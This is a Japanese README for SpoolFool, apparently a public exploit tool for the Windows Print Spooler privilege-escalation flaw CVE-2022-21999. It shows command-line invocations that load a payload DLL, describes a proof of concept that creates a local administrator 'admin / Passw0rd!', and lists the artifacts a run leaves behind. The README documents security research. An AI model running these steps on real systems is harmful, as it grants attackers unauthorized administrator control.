SpoolFool

CVE-2022-21999 のエクスプロイト - Windows プリントスプーラーの特権昇格の脆弱性 (LPE)

詳細

提供されているエクスプロイトは、デフォルトですべての Windows デスクトップバージョンで動作するはずです。

技術的な詳細については、こちらのブログ記事をご参照ください。

使用方法

PS C:\SpoolFool> .\SpoolFool.exe

SpoolFool
  By Oliver Lyak (@ly4k_)

Examples:
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer'
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -dir 'SECRET'
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

PowerShell

PS C:\SpoolFool> ipmo .\SpoolFool.ps1
PS C:\SpoolFool> Invoke-SpoolFool

SpoolFool
  By Oliver Lyak (@ly4k_)

Examples:
   -dll add_user.dll
   -dll add_user.dll -printer 'My Printer'
   -dll add_user.dll -dir 'SECRET'
   -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

概念実証

以下の PoC は、新しいローカル管理者 admin / Passw0rd! を作成する DLL を使用しています。DLL (AddUser.dll) とソースコードはこのリポジトリにあります。

2回目の実行

以下の PoC は、提供されたエクスプロイトの2回目の実行を示しています。今回は DLL を読み込むために脆弱性が悪用されていないことに注意してください。

アーティファクト

エクスプロイトの実行後、後片付けのために以下のアーティファクトが残されます。

作成されたプリンタードライバーディレクトリは削除されません
ペイロード DLL はプリンタードライバーディレクトリにコピーされ、削除されません
作成されたプリンターは削除されません
対象のプリンターの SpoolDirectory 値は復元されません

著者

Oliver Lyak @ly4k_

参考文献

SpoolFool: Windows Print Spooler Privilege Escalation (CVE-2022-21999)

SpoolFool

人気

SpoolFool

詳細

使用方法

PowerShell

概念実証

アーティファクト

著者

参考文献